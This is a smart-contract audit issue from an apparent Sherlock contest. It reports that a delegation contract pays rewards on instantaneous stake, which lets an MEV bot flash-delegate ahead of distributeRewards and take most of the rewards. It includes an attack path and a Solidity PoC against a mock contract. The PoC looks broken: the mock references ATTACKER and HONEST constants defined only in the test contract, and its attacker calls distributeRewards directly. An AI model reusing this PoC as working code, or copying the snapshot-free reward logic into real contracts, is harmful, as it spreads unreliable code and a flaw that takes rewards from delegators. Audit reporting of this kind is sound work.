Skip to content
This repository was archived by the owner on Jan 25, 2026. It is now read-only.

Faithful Pewter Pelican - MEV bot will siphon rewards from long-term delegators #663

@sherlock-admin3

Description

@sherlock-admin3

Faithful Pewter Pelican

High

MEV bot will siphon rewards from long-term delegators

Summary

The distributeRewards function allocates rewards based on the instant delegation amount, enabling front-running that lets an attacker capture an outsized share.

Root Cause

In https://github.com/sherlock-audit/2025-07-cap/blob/main/cap-contracts/contracts/delegation/Delegation.sol

The function uses coverage(_agent)—a snapshot of delegation at the moment of execution—and applies no lock-up period or snapshot mechanism.
Thus, anyone who sees a repay → distributeRewards sequence in the mempool can delegate a large amount moments before execution, gain a disproportionate reward while taking virtually no risk, and then immediately withdraw.
Because the system ignores time-weighted exposure, long-term delegators are diluted and incentives are distorted.

Internal Pre-conditions

The Delegation contract holds reward tokens awaiting distribution.
coverage(_agent) returns a value greater than zero.
distributeRewards() is about to be called (typically by a repay flow).

External Pre-conditions

The attacker can delegate collateral to the target _agent.
The attacker has mempool visibility or block-ordering influence (MEV / bot).
The attacker can afford the gas to delegate and then withdraw.

Attack Path

Attacker monitors the mempool and spots a repay transaction that will trigger distributeRewards.
Within the same block, attacker submits a large delegation to that _agent.
distributeRewards executes, sees the inflated delegation, and sends the majority of rewards to the attacker.
Attacker withdraws the delegation in the same or next block.

Impact

Long-term delegators are diluted, while a short-lived “flash” delegator captures an unfair reward share.
This reduces expected earnings for honest restakers, weakens economic security, and may lead to capital flight.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

/* ---------------- Mock ERC-20 ---------------- */
contract Token is ERC20 {
constructor() ERC20("CAP", "CAP") { _mint(msg.sender, 1e27); }
function mint(address to, uint256 amt) external { _mint(to, amt); }
}

/* --------- Minimal Delegation w/ vulnerable distributeRewards --------- */
contract MiniDelegation {
Token public immutable token;
mapping(address => uint256) public stake;
mapping(address => uint256) public reward;
uint256 public totalCoverage;

constructor(Token _token) { token = _token; }

function delegate(uint256 amt) external {
    token.transferFrom(msg.sender, address(this), amt);
    stake[msg.sender] += amt;
    totalCoverage += amt;
}
function undelegate(uint256 amt) external {
    stake[msg.sender] -= amt;
    totalCoverage -= amt;
    token.transfer(msg.sender, amt);
}

/* 1:1 copy of logic — uses *current* coverage, no lock / snapshot */
function distributeRewards(uint256 amt) external {
    token.transferFrom(msg.sender, address(this), amt);    // fund
    if (totalCoverage == 0) return;
    reward[address(ATTACKER)] += amt * stake[address(ATTACKER)] / totalCoverage;
    reward[address(HONEST )]  += amt * stake[address(HONEST )]  / totalCoverage;
}

}

/* ------------------------ PoC test ------------------------ */
contract FrontRunPoC is Test {
address constant HONEST = address(1);
address constant ATTACKER = address(2);

Token          cap;
MiniDelegation del;

function setUp() public {
    cap = new Token();
    del = new MiniDelegation(cap);

    cap.mint(HONEST,   1_000 ether);
    cap.mint(ATTACKER, 1_000 ether);

    vm.prank(HONEST);   cap.approve(address(del), type(uint256).max);
    vm.prank(ATTACKER); cap.approve(address(del), type(uint256).max);
}

function testFlashDelegateStealsRewards() public {
    /* Honest delegator has been staked for a while */
    vm.prank(HONEST);
    del.delegate(100 ether);

    /* ─── Block X  ───
     * A repay tx soon triggers distributeRewards(100 CAP).
     * Attacker front-runs within the same block              */
    uint256 rewardAmt = 100 ether;
    cap.mint(ATTACKER, rewardAmt);

    vm.startPrank(ATTACKER);
    del.delegate(900 ether);                 // ➊ flash-delegate
    del.distributeRewards(rewardAmt);        // ➋ receives majority
    del.undelegate(900 ether);               // ➌ exits immediately
    vm.stopPrank();

    /* ---- Checks ---- */
    uint256 attackerReward = del.reward(ATTACKER);
    uint256 honestReward   = del.reward(HONEST);

    emit log_named_uint("Attacker reward", attackerReward); // ≈ 90 CAP
    emit log_named_uint("Honest   reward", honestReward);   // ≈ 10 CAP
    assert(attackerReward > honestReward);
}

}

Mitigation

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions